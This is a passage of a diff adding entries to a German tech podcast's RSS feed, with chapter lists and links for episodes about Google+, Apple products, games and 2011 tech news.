href="http://tenonedesign.com/fling.php" target="_blank">Der Fling</td></tr><tr><td>01:10:33</td><td><a href="http://tapbots.com/software/tweetbot/" target="_blank">Tweetbot</td></tr><tr><td>01:13:15</td><td><a href="http://eu.battle.net/wow/en/" target="_blank">World of Warcraft jetzt Free-to-Play</td></tr><tr><td>01:17:48</td><td><a href="http://itunes.apple.com/app/monster-soup/id424617127?mt=8" target="_blank">Monster Soup</td></tr><tr><td>01:20:54</td><td><a href="http://itunes.apple.com/us/app/galcon/id285820845?mt=8" target="_blank">Galcon</td></tr><tr><td>01:21:03</td><td><a href="http://itunes.apple.com/us/app/eliss/id306950009?mt=8" target="_blank">Eliss</td></tr><tr><td>01:21:16</td><td><a href="http://itunes.apple.com/us/app/slice-hd/id420262366?mt=8" target="_blank">Slice HD</td></tr><tr><td>01:24:42</td><td><a href="http://www.youtube.com/watch?v=BeGjTiUqw8U" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" />
+ <sc:chapter start="00:00:12" title="Und Herrn Zeitweise" />
+ <sc:chapter start="00:00:16" title="Und Martin" />
+ <sc:chapter start="00:01:59" title="Google+" href="https://plus.google.com/" />
+ <sc:chapter start="00:05:38" title="Circles" />
+ <sc:chapter start="00:09:10" title="Presentation von @Padday (Ex-Googler)" href="http://www.slideshare.net/padday/the-real-life-social-network-v2" />
+ <sc:chapter start="00:12:05" title="Google+ Video" href="http://www.youtube.com/watch?v=ocPeAdpe_A8" />
+ <sc:chapter start="00:14:44" title="Resharing Problematik" />
+ <sc:chapter start="00:16:35" title="Kreise durch Erwähnungen aufweichen" />
+ <sc:chapter start="00:19:13" title="Circles sind nicht Privacysetting" />
+ <sc:chapter start="00:25:10" title="Sortieren ist Arbeit?" />
+ <sc:chapter start="00:29:43" title="Datenkrake Google" />
+ <sc:chapter start="00:31:14" title="Google wird ein &amp;quot;Ort&amp;quot;" />
+ <sc:chapter start="00:36:39" title="Google Realtime" href="http://www.google.com/realtime" />
+ <sc:chapter start="00:37:07" title="Google+ Hangout" href="http://www.youtube.com/watch?v=QN38vHZjWXw" />
+ <sc:chapter start="00:41:17" title="Viraler Hund ist viral" href="https://plus.google.com/103349037329512646684/posts/ZFvgNRgmrQC?tab=XX" />
+ <sc:chapter start="00:47:21" title="Digitales Verzeihen" href="https://twitter.com/#!/zeitweise/status/66420021726949376" />
+ <sc:chapter start="00:48:15" title="Erste TouchPad Reviews" href="http://allthingsd.com/20110629/touchpad-needs-more-apps-reboot-to-rival-ipad/" />
+ <sc:chapter start="00:50:13" title="TouchPad Zielgruppe" href="http://www.loopinsight.com/2011/06/30/interview-hp-says-apple-is-not-touchpads-target/" />
+ <sc:chapter start="00:53:45" title="Thunderbolt Kabel" href="http://store.apple.com/de/product/MC913ZM/A" />
+ <sc:chapter start="00:58:13" title="Kein gültiges Wahlrecht mehr" href="http://www.wahlrecht.de/" />
+ <sc:chapter start="01:03:59" title="July 4th Sales im Appstore" />
+ <sc:chapter start="01:04:31" title="Robot Unicorn Attack" href="http://itunes.apple.com/us/app/robot-unicorn-attack-hd/id394982416?mt=8" />
+ <sc:chapter start="01:04:54" title="Dungeon Hunter 2" href="http://itunes.apple.com/us/app/dungeon-hunter-2-hd/id402441901?mt=8" />
+ <sc:chapter start="01:05:17" title="Nova 2" href="http://itunes.apple.com/us/app/n-o-v-a-2-near-orbit-vanguard/id400901458?mt=8" />
+ <sc:chapter start="01:05:51" title="Order and Chaos" href="http://itunes.apple.com/us/app/order-chaos-online/id414664715?mt=8" />
+ <sc:chapter start="01:06:13" title="Starfront: Collision" href="http://itunes.apple.com/us/app/starfront-collision-hd/id424915605?mt=8" />
+ <sc:chapter start="01:06:38" title="Sacred Odyssey: Rise of Ayden" href="http://itunes.apple.com/us/app/sacred-odyssey-rise-of-ayden/id421486612?mt=8" />
+ <sc:chapter start="01:07:21" title="Der Fling" href="http://tenonedesign.com/fling.php" />
+ <sc:chapter start="01:10:33" title="Tweetbot" href="http://tapbots.com/software/tweetbot/" />
+ <sc:chapter start="01:13:15" title="World of Warcraft jetzt Free-to-Play" href="http://eu.battle.net/wow/en/" />
+ <sc:chapter start="01:17:48" title="Monster Soup" href="http://itunes.apple.com/app/monster-soup/id424617127?mt=8" />
+ <sc:chapter start="01:20:54" title="Galcon" href="http://itunes.apple.com/us/app/galcon/id285820845?mt=8" />
+ <sc:chapter start="01:21:03" title="Eliss" href="http://itunes.apple.com/us/app/eliss/id306950009?mt=8" />
+ <sc:chapter start="01:21:16" title="Slice HD" href="http://itunes.apple.com/us/app/slice-hd/id420262366?mt=8" />
+ <sc:chapter start="01:24:42" title="Rausschmeisser" href="http://www.youtube.com/watch?v=BeGjTiUqw8U" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#26:" />
+ </item>
+ <item>
+ <title>Episode #25 - Besser ist immer auch anders</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Besser ist immer auch anders</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN025.mp3" length="37255962" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN025</guid>
+ <pubDate>Fri, 24 Jun 2011 21:53:18 +0200</pubDate>
+ <itunes:duration>01:17:28</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:11 Und Martin
+00:00:58 Two X or not two X...
+00:02:26 P-Ram Reset
+00:03:10 Bildspur
+00:04:43 Coverart SNAFU
+00:05:33 Livestream - yay or nay?
+00:07:51 WWDC Videos sind da!
+00:10:47 Old farts talking about DVD sets
+00:11:52 Andy Baio wird verklagt
+00:16:30 Atomadler
+00:20:32 Everything is a remix
+00:21:18 Patente sind nicht Produkte
+00:24:49 Apple Patente
+00:26:52 Unspektakuläre neue Basestations
+00:29:52 Unspektakuläres 10.6.8
+00:31:24 Nokia N9. Schade eigentlich.
+00:36:00 Final Cut Pro X
+00:48:15 Ocarina of Time Praxiserfahrungen
+00:57:28 Natural User Interface Ads for Kinect
+01:01:41 Indie Game: The Movie
+01:03:28 Mario Marathon
+01:05:43 The Witness
+01:07:07 Team Fortress 2: Wumme für umme
+01:09:16 1-Bit Ninja
+01:15:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:58</td><td>Two X or not two X...</td></tr><tr><td>00:02:26</td><td><a href="http://docs.info.apple.com/article.html?path=Mac/10.6/en/26871.html" target="_blank">P-Ram Reset</td></tr><tr><td>00:03:10</td><td>Bildspur</td></tr><tr><td>00:04:43</td><td>Coverart SNAFU</td></tr><tr><td>00:05:33</td><td>Livestream - yay or nay?</td></tr><tr><td>00:07:51</td><td><a href="http://developer.apple.com/itunes/" target="_blank">WWDC Videos sind da!</td></tr><tr><td>00:10:47</td><td>Old farts talking about DVD sets</td></tr><tr><td>00:11:52</td><td><a href="http://waxy.org/2011/06/kind_of_screwed/" target="_blank">Andy Baio wird verklagt</td></tr><tr><td>00:16:30</td><td><a href="http://ran-dom.tumblr.com/post/3899499750/atom-adler-one-svg-available-for-further-mashup" target="_blank">Atomadler</td></tr><tr><td>00:20:32</td><td><a href="http://www.everythingisaremix.info/" target="_blank">Everything is a remix</td></tr><tr><td>00:21:18</td><td><a href="http://www.thesun.co.uk/sol/homepage/news/3641676/Apple-to-ban-iPhone-gig-filming.html" target="_blank">Patente sind nicht Produkte</td></tr><tr><td>00:24:49</td><td><a href="http://www.applepatent.com/" target="_blank">Apple Patente</td></tr><tr><td>00:26:52</td><td><a href="http://www.apple.com/timecapsule/" target="_blank">Unspektakuläre neue Basestations</td></tr><tr><td>00:29:52</td><td><a href="http://support.apple.com/kb/HT4561" target="_blank">Unspektakuläres 10.6.8</td></tr><tr><td>00:31:24</td><td><a href="http://swipe.nokia.com/" target="_blank">Nokia N9. Schade eigentlich.</td></tr><tr><td>00:36:00</td><td><a href="http://www.apple.com/finalcutpro/" target="_blank">Final Cut Pro X</td></tr><tr><td>00:48:15</td><td><a href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time" target="_blank">Ocarina of Time Praxiserfahrungen</td></tr><tr><td>00:57:28</td><td><a href="http://www.youtube.com/watch?v=RSk5DhxQHLo" target="_blank">Natural User Interface Ads for Kinect</td></tr><tr><td>01:01:41</td><td><a href="http://www.indiegamethemovie.com/" target="_blank">Indie Game: The Movie</td></tr><tr><td>01:03:28</td><td><a href="http://www.mariomarathon.com/" target="_blank">Mario Marathon</td></tr><tr><td>01:05:43</td><td><a href="http://the-witness.net/news/" target="_blank">The Witness</td></tr><tr><td>01:07:07</td><td><a href="http://teamfortress.com/freetoplay/index.php" target="_blank">Team Fortress 2: Wumme für umme</td></tr><tr><td>01:09:16</td><td><a href="http://itunes.apple.com/de/app/1-bit-ninja/id427083185?mt=8" target="_blank">1-Bit Ninja</td></tr><tr><td>01:15:02</td><td><a href="http://www.digitapp.com/#/2011/videogame-of-thrones/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:58" title="Two X or not two X..." />
+ <sc:chapter start="00:02:26" title="P-Ram Reset" href="http://docs.info.apple.com/article.html?path=Mac/10.6/en/26871.html" />
+ <sc:chapter start="00:03:10" title="Bildspur" />
+ <sc:chapter start="00:04:43" title="Coverart SNAFU" />
+ <sc:chapter start="00:05:33" title="Livestream - yay or nay?" />
+ <sc:chapter start="00:07:51" title="WWDC Videos sind da!" href="http://developer.apple.com/itunes/" />
+ <sc:chapter start="00:10:47" title="Old farts talking about DVD sets" />
+ <sc:chapter start="00:11:52" title="Andy Baio wird verklagt" href="http://waxy.org/2011/06/kind_of_screwed/" />
+ <sc:chapter start="00:16:30" title="Atomadler" href="http://ran-dom.tumblr.com/post/3899499750/atom-adler-one-svg-available-for-further-mashup" />
+ <sc:chapter start="00:20:32" title="Everything is a remix" href="http://www.everythingisaremix.info/" />
+ <sc:chapter start="00:21:18" title="Patente sind nicht Produkte" href="http://www.thesun.co.uk/sol/homepage/news/3641676/Apple-to-ban-iPhone-gig-filming.html" />
+ <sc:chapter start="00:24:49" title="Apple Patente" href="http://www.applepatent.com/" />
+ <sc:chapter start="00:26:52" title="Unspektakuläre neue Basestations" href="http://www.apple.com/timecapsule/" />
+ <sc:chapter start="00:29:52" title="Unspektakuläres 10.6.8" href="http://support.apple.com/kb/HT4561" />
+ <sc:chapter start="00:31:24" title="Nokia N9. Schade eigentlich." href="http://swipe.nokia.com/" />
+ <sc:chapter start="00:36:00" title="Final Cut Pro X" href="http://www.apple.com/finalcutpro/" />
+ <sc:chapter start="00:48:15" title="Ocarina of Time Praxiserfahrungen" href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time" />
+ <sc:chapter start="00:57:28" title="Natural User Interface Ads for Kinect" href="http://www.youtube.com/watch?v=RSk5DhxQHLo" />
+ <sc:chapter start="01:01:41" title="Indie Game: The Movie" href="http://www.indiegamethemovie.com/" />
+ <sc:chapter start="01:03:28" title="Mario Marathon" href="http://www.mariomarathon.com/" />
+ <sc:chapter start="01:05:43" title="The Witness" href="http://the-witness.net/news/" />
+ <sc:chapter start="01:07:07" title="Team Fortress 2: Wumme für umme" href="http://teamfortress.com/freetoplay/index.php" />
+ <sc:chapter start="01:09:16" title="1-Bit Ninja" href="http://itunes.apple.com/de/app/1-bit-ninja/id427083185?mt=8" />
+ <sc:chapter start="01:15:02" title="Rausschmeisser" href="http://www.digitapp.com/#/2011/videogame-of-thrones/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#25:" />
+ </item>
+ <item>
+ <title>Episode #24 - Seifenkistenkino</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Seifenkistenkino</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN024.mp3" length="44849444" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN024</guid>
+ <pubDate>Fri, 17 Jun 2011 23:10:52 +0200</pubDate>
+ <itunes:duration>01:33:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:04 Mit Dominik
+00:00:08 und Martin
+00:01:25 Keine Macbook Airs
+00:02:06 Aber vertragsfreie US iPhones
+00:03:33 und Back to School Promo
+00:05:23 Duke Nukem Forever
+00:08:21 Dukemgate
+00:12:31 Nintendo 3DS Systemupdate
+00:13:19 3DS Browser
+00:17:47 Nintendo eShop
+00:18:28 Pokedex 3D
+00:20:47 Virtual Console
+00:22:31 Excitebike 3D
+00:27:23 Virtueller Verpackungsmüll
+00:29:20 DSi Ware
+00:29:39 Tetris Party Live
+00:30:34 Shantae: Risky's Revenge
+00:31:27 Breakfast at Manuspielt's #203
+00:34:12 Glow Artisan
+00:35:19 Picopict
+00:36:37 Mario vs. Donkey Kong
+00:37:12 Ghost Recon: Shadow Wars
+00:37:47 Ocarina of Time 3D
+00:44:17 Automatic Reference Counting
+00:57:10 Cyberabwehrzentrum
+00:59:27 Schöne Impressumsabmahnung
+01:01:12 Assange über seinen Hausarrest
+01:05:24 Enhanced Podcast nicht 2Xable
+01:10:22 Xcode Templates
+01:15:25 Apple Developer Forums
+01:15:43 Stack Overflow
+01:15:53 iTunes App Backup
+01:17:18 Incrementelle verschlüsselte Backups
+01:21:16 Jonathan Coulton
+01:22:33 Paul and Storm
+01:24:16 Telekom Lob
+01:25:06 Kinect SDK
+01:28:18 Capo
+01:28:33 Reeder
+01:29:38 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:04</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:25</td><td>Keine Macbook Airs</td></tr><tr><td>00:02:06</td><td>Aber vertragsfreie US iPhones</td></tr><tr><td>00:03:33</td><td>und Back to School Promo</td></tr><tr><td>00:05:23</td><td><a href="http://www.metacritic.com/game/xbox-360/duke-nukem-forever" target="_blank">Duke Nukem Forever</td></tr><tr><td>00:08:21</td><td><a href="https://twitter.com/#!/2KGames/status/81056724546633729" target="_blank">Dukemgate</td></tr><tr><td>00:12:31</td><td>Nintendo 3DS Systemupdate</td></tr><tr><td>00:13:19</td><td>3DS Browser</td></tr><tr><td>00:17:47</td><td>Nintendo eShop</td></tr><tr><td>00:18:28</td><td><a href="http://www.pokedex3d.com/" target="_blank">Pokedex 3D</td></tr><tr><td>00:20:47</td><td>Virtual Console</td></tr><tr><td>00:22:31</td><td><a href="http://www.joystiq.com/2011/06/02/excitebike-3d-free-for-30-days-after-eshop-launch-pokedex-3d-fr/" target="_blank">Excitebike 3D</td></tr><tr><td>00:27:23</td><td>Virtueller Verpackungsmüll</td></tr><tr><td>00:29:20</td><td>DSi Ware</td></tr><tr><td>00:29:39</td><td><a href="http://en.wikipedia.org/wiki/Tetris_Party" target="_blank">Tetris Party Live</td></tr><tr><td>00:30:34</td><td><a href="http://en.wikipedia.org/wiki/Shantae:_Risky's_Revenge" target="_blank">Shantae: Risky's Revenge</td></tr><tr><td>00:31:27</td><td><a href="http://breakfast.vu0.org/archives/344" target="_blank">Breakfast at Manuspielt's #203</td></tr><tr><td>00:34:12</td><td><a href="http://powerheadgames.com/?q=node/8" target="_blank">Glow Artisan</td></tr><tr><td>00:35:19</td><td><a href="http://en.wikipedia.org/wiki/Art_Style:_Picopict" target="_blank">Picopict</td></tr><tr><td>00:36:37</td><td><a href="http://en.wikipedia.org/wiki/Mario_vs._Donkey_Kong:_Minis_March_Again!" target="_blank">Mario vs. Donkey Kong</td></tr><tr><td>00:37:12</td><td><a href="http://en.wikipedia.org/wiki/Tom_Clancy's_Ghost_Recon:_Shadow_Wars" target="_blank">Ghost Recon: Shadow Wars</td></tr><tr><td>00:37:47</td><td><a href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time_3D" target="_blank">Ocarina of Time 3D</td></tr><tr><td>00:44:17</td><td><a href="http://clang.llvm.org/docs/AutomaticReferenceCounting.html" target="_blank">Automatic Reference Counting</td></tr><tr><td>00:57:10</td><td><a href="https://www.bsi.bund.de/ContentBSI/Presse/Pressemitteilungen/Presse2011/Eroeffnung-Nationales-Cyber-Abwehrzentrum_16062011.html" target="_blank">Cyberabwehrzentrum</td></tr><tr><td>00:59:27</td><td><a href="http://winfuture.de/news,63766.html" target="_blank">Schöne Impressumsabmahnung</td></tr><tr><td>01:01:12</td><td><a href="http://www.vimeo.com/25113282" target="_blank">Assange über seinen Hausarrest</td></tr><tr><td>01:05:24</td><td><a href="http://audioboo.fm/boos/376525-frage-an-die-fanboys" target="_blank">Enhanced Podcast nicht 2Xable</td></tr><tr><td>01:10:22</td><td><a href="http://audioboo.fm/boos/376268-frage-zur-xcode-bedienung" target="_blank">Xcode Templates</td></tr><tr><td>01:15:25</td><td><a href="http://developer.apple.com/devforums/" target="_blank">Apple Developer Forums</td></tr><tr><td>01:15:43</td><td><a href="http://stackoverflow.com/" target="_blank">Stack Overflow</td></tr><tr><td>01:15:53</td><td><a href="http://audioboo.fm/boos/375883-party-boo" target="_blank">iTunes App Backup</td></tr><tr><td>01:17:18</td><td><a href="http://audioboo.fm/boos/370538-verschlusseltes-backup" target="_blank">Incrementelle verschlüsselte Backups</td></tr><tr><td>01:21:16</td><td><a href="http://www.jonathancoulton.com/" target="_blank">Jonathan Coulton</td></tr><tr><td>01:22:33</td><td><a href="http://www.paulandstorm.com/" target="_blank">Paul and Storm</td></tr><tr><td>01:24:16</td><td>Telekom Lob</td></tr><tr><td>01:25:06</td><td><a href="http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/" target="_blank">Kinect SDK</td></tr><tr><td>01:28:18</td><td><a href="http://supermegaultragroovy.com/products/Capo/" target="_blank">Capo</td></tr><tr><td>01:28:33</td><td><a href="http://reederapp.com/mac" target="_blank">Reeder</td></tr><tr><td>01:29:38</td><td><a href="http://www.paulandstorm.com/lyrics/opening-band/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:04" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:08" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:25" title="Keine Macbook Airs" />
+ <sc:chapter start="00:02:06" title="Aber vertragsfreie US iPhones" />
+ <sc:chapter start="00:03:33" title="und Back to School Promo" />
+ <sc:chapter start="00:05:23" title="Duke Nukem Forever" href="http://www.metacritic.com/game/xbox-360/duke-nukem-forever" />
+ <sc:chapter start="00:08:21" title="Dukemgate" href="https://twitter.com/#!/2KGames/status/81056724546633729" />
+ <sc:chapter start="00:12:31" title="Nintendo 3DS Systemupdate" />
+ <sc:chapter start="00:13:19" title="3DS Browser" />
+ <sc:chapter start="00:17:47" title="Nintendo eShop" />
+ <sc:chapter start="00:18:28" title="Pokedex 3D" href="http://www.pokedex3d.com/" />
+ <sc:chapter start="00:20:47" title="Virtual Console" />
+ <sc:chapter start="00:22:31" title="Excitebike 3D" href="http://www.joystiq.com/2011/06/02/excitebike-3d-free-for-30-days-after-eshop-launch-pokedex-3d-fr/" />
+ <sc:chapter start="00:27:23" title="Virtueller Verpackungsmüll" />
+ <sc:chapter start="00:29:20" title="DSi Ware" />
+ <sc:chapter start="00:29:39" title="Tetris Party Live" href="http://en.wikipedia.org/wiki/Tetris_Party" />
+ <sc:chapter start="00:30:34" title="Shantae: Risky's Revenge" href="http://en.wikipedia.org/wiki/Shantae:_Risky's_Revenge" />
+ <sc:chapter start="00:31:27" title="Breakfast at Manuspielt's #203" href="http://breakfast.vu0.org/archives/344" />
+ <sc:chapter start="00:34:12" title="Glow Artisan" href="http://powerheadgames.com/?q=node/8" />
+ <sc:chapter start="00:35:19" title="Picopict" href="http://en.wikipedia.org/wiki/Art_Style:_Picopict" />
+ <sc:chapter start="00:36:37" title="Mario vs. Donkey Kong" href="http://en.wikipedia.org/wiki/Mario_vs._Donkey_Kong:_Minis_March_Again!" />
+ <sc:chapter start="00:37:12" title="Ghost Recon: Shadow Wars" href="http://en.wikipedia.org/wiki/Tom_Clancy's_Ghost_Recon:_Shadow_Wars" />
+ <sc:chapter start="00:37:47" title="Ocarina of Time 3D" href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Ocarina_of_Time_3D" />
+ <sc:chapter start="00:44:17" title="Automatic Reference Counting" href="http://clang.llvm.org/docs/AutomaticReferenceCounting.html" />
+ <sc:chapter start="00:57:10" title="Cyberabwehrzentrum" href="https://www.bsi.bund.de/ContentBSI/Presse/Pressemitteilungen/Presse2011/Eroeffnung-Nationales-Cyber-Abwehrzentrum_16062011.html" />
+ <sc:chapter start="00:59:27" title="Schöne Impressumsabmahnung" href="http://winfuture.de/news,63766.html" />
+ <sc:chapter start="01:01:12" title="Assange über seinen Hausarrest" href="http://www.vimeo.com/25113282" />
+ <sc:chapter start="01:05:24" title="Enhanced Podcast nicht 2Xable" href="http://audioboo.fm/boos/376525-frage-an-die-fanboys" />
+ <sc:chapter start="01:10:22" title="Xcode Templates" href="http://audioboo.fm/boos/376268-frage-zur-xcode-bedienung" />
+ <sc:chapter start="01:15:25" title="Apple Developer Forums" href="http://developer.apple.com/devforums/" />
+ <sc:chapter start="01:15:43" title="Stack Overflow" href="http://stackoverflow.com/" />
+ <sc:chapter start="01:15:53" title="iTunes App Backup" href="http://audioboo.fm/boos/375883-party-boo" />
+ <sc:chapter start="01:17:18" title="Incrementelle verschlüsselte Backups" href="http://audioboo.fm/boos/370538-verschlusseltes-backup" />
+ <sc:chapter start="01:21:16" title="Jonathan Coulton" href="http://www.jonathancoulton.com/" />
+ <sc:chapter start="01:22:33" title="Paul and Storm" href="http://www.paulandstorm.com/" />
+ <sc:chapter start="01:24:16" title="Telekom Lob" />
+ <sc:chapter start="01:25:06" title="Kinect SDK" href="http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/" />
+ <sc:chapter start="01:28:18" title="Capo" href="http://supermegaultragroovy.com/products/Capo/" />
+ <sc:chapter start="01:28:33" title="Reeder" href="http://reederapp.com/mac" />
+ <sc:chapter start="01:29:38" title="Rausschmeisser" href="http://www.paulandstorm.com/lyrics/opening-band/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#24:" />
+ </item>
+ <item>
+ <title>Episode #23 - Sehr flughafig</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Sehr flughafig</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN023.mp3" length="22454355" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN023</guid>
+ <pubDate>Mon, 13 Jun 2011 10:16:39 +0200</pubDate>
+ <itunes:duration>00:46:38</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:13 dem Flughafen
+00:00:16 und Martin
+00:01:04 Off road Fanboys
+00:01:45 Apple Design Awards
+00:02:22 Pixelmator
+00:03:31 Djay for iPad
+00:05:16 Our Choice
+00:06:50 Capo
+00:09:41 LLDB
+00:11:03 It's like a spaceship has landed
+00:14:42 Neue Macbook Airs?
+00:16:11 Wii U
+00:26:10 PSP Vita
+00:26:48 Shadow of the Collossus / Ico
+00:29:01 Gesichtsbuch mit Gesichtserkennung
+00:35:19 … und neuem Sofa
+00:38:54 Reeder for Mac
+00:40:54 Super 8
+00:44:50 Outro
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://www.phl.org" target="_blank">dem Flughafen</td></tr><tr><td>00:00:16</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:04</td><td>Off road Fanboys</td></tr><tr><td>00:01:45</td><td><a href="http://developer.apple.com/wwdc/ada/" target="_blank">Apple Design Awards</td></tr><tr><td>00:02:22</td><td><a href="http://developer.apple.com/wwdc/ada/details/pixelmator.html#pixelmator" target="_blank">Pixelmator</td></tr><tr><td>00:03:31</td><td><a href="http://developer.apple.com/wwdc/ada/details/djay.html#djay" target="_blank">Djay for iPad</td></tr><tr><td>00:05:16</td><td><a href="http://developer.apple.com/wwdc/ada/details/ourchoice.html#ourchoice" target="_blank">Our Choice</td></tr><tr><td>00:06:50</td><td><a href="http://developer.apple.com/wwdc/ada/details/capo.html#capo" target="_blank">Capo</td></tr><tr><td>00:09:41</td><td><a href="http://lldb.llvm.org/" target="_blank">LLDB</td></tr><tr><td>00:11:03</td><td><a href="http://www.youtube.com/watch?v=gtuz5OmOh_M" target="_blank">It's like a spaceship has landed</td></tr><tr><td>00:14:42</td><td><a href="http://www.macrumors.com/2011/06/11/new-macbook-air-due-this-wednesday/" target="_blank">Neue Macbook Airs?</td></tr><tr><td>00:16:11</td><td><a href="http://e3.nintendo.com/hw/" target="_blank">Wii U</td></tr><tr><td>00:26:10</td><td><a href="http://pspvita.com/" target="_blank">PSP Vita</td></tr><tr><td>00:26:48</td><td><a href="http://e3.gamespot.com/story/6317551/e3-2011-ico-and-shadow-of-the-colossus-collection-preview-shadow-of-the-colossus-hands-on-impressions?tag=top_stories%3Bstory%3B3" target="_blank">Shadow of the Collossus / Ico</td></tr><tr><td>00:29:01</td><td><a href="http://www.huffingtonpost.com/2010/07/02/facebook-introduces-face_n_633694.html" target="_blank">Gesichtsbuch mit Gesichtserkennung</td></tr><tr><td>00:35:19</td><td><a href="http://www.theregister.co.uk/2011/06/10/facebook_acquires_sofa/" target="_blank">… und neuem Sofa</td></tr><tr><td>00:38:54</td><td><a href="http://reederapp.com/" target="_blank">Reeder for Mac</td></tr><tr><td>00:40:54</td><td><a href="http://en.wikipedia.org/wiki/Super_8_(film)" target="_blank">Super 8</td></tr><tr><td>00:44:50</td><td>Outro</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="dem Flughafen" href="http://www.phl.org" />
+ <sc:chapter start="00:00:16" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:04" title="Off road Fanboys" />
+ <sc:chapter start="00:01:45" title="Apple Design Awards" href="http://developer.apple.com/wwdc/ada/" />
+ <sc:chapter start="00:02:22" title="Pixelmator" href="http://developer.apple.com/wwdc/ada/details/pixelmator.html#pixelmator" />
+ <sc:chapter start="00:03:31" title="Djay for iPad" href="http://developer.apple.com/wwdc/ada/details/djay.html#djay" />
+ <sc:chapter start="00:05:16" title="Our Choice" href="http://developer.apple.com/wwdc/ada/details/ourchoice.html#ourchoice" />
+ <sc:chapter start="00:06:50" title="Capo" href="http://developer.apple.com/wwdc/ada/details/capo.html#capo" />
+ <sc:chapter start="00:09:41" title="LLDB" href="http://lldb.llvm.org/" />
+ <sc:chapter start="00:11:03" title="It's like a spaceship has landed" href="http://www.youtube.com/watch?v=gtuz5OmOh_M" />
+ <sc:chapter start="00:14:42" title="Neue Macbook Airs?" href="http://www.macrumors.com/2011/06/11/new-macbook-air-due-this-wednesday/" />
+ <sc:chapter start="00:16:11" title="Wii U" href="http://e3.nintendo.com/hw/" />
+ <sc:chapter start="00:26:10" title="PSP Vita" href="http://pspvita.com/" />
+ <sc:chapter start="00:26:48" title="Shadow of the Collossus / Ico" href="http://e3.gamespot.com/story/6317551/e3-2011-ico-and-shadow-of-the-colossus-collection-preview-shadow-of-the-colossus-hands-on-impressions?tag=top_stories%3Bstory%3B3" />
+ <sc:chapter start="00:29:01" title="Gesichtsbuch mit Gesichtserkennung" href="http://www.huffingtonpost.com/2010/07/02/facebook-introduces-face_n_633694.html" />
+ <sc:chapter start="00:35:19" title="… und neuem Sofa" href="http://www.theregister.co.uk/2011/06/10/facebook_acquires_sofa/" />
+ <sc:chapter start="00:38:54" title="Reeder for Mac" href="http://reederapp.com/" />
+ <sc:chapter start="00:40:54" title="Super 8" href="http://en.wikipedia.org/wiki/Super_8_(film)" />
+ <sc:chapter start="00:44:50" title="Outro" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#23:" />
+ </item>
+ <item>
+ <title>Episode #22 - Not our finest hour</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Not our finest hour</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN022.mp3" length="43321594" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN022</guid>
